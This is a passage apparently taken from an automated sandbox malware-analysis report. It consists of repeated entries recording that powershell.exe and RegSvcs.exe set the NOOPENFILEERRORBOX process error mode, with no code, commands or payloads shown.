Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
